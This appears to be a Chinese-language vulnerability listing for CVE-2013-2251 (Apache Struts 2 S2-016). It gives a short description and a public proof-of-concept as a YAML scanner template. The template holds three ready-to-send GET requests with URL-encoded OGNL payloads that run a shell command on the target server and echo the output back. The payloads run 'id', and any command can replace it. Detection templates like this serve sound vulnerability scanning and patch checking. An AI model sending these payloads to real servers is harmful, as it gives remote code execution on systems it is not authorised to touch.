CVE-2013-2251: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (S2-016)

日期: 2025-09-01 | 影响软件: Apache Struts 2 | POC: 已公开

漏洞描述

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code.

PoC代码[已公开]

id: CVE-2013-2251

info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (S2-016)
  author: exploitation,dwisiswant0,alex
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized and will be evaluated as an OGNL expression against the value stack. This introduces the possibility to inject server side code.
  reference:
    - http://struts.apache.org/release/2.3.x/docs/s2-016.html
    - https://cwiki.apache.org/confluence/display/WW/S2-016
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2251

rules:
  r0:
    request:
      method: GET
      path: /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
      headers:
        Accept: "*/*"
    expression: (response.status == 200 || response.status == 400) && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
      headers:
        Accept: "*/*"
    expression: (response.status == 200 || response.status == 400) && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
  r2:
    request:
      method: GET
      path: /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
      headers:
        Accept: "*/*"
    expression: (response.status == 200 || response.status == 400) && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0() || r1() || r2()

相关漏洞推荐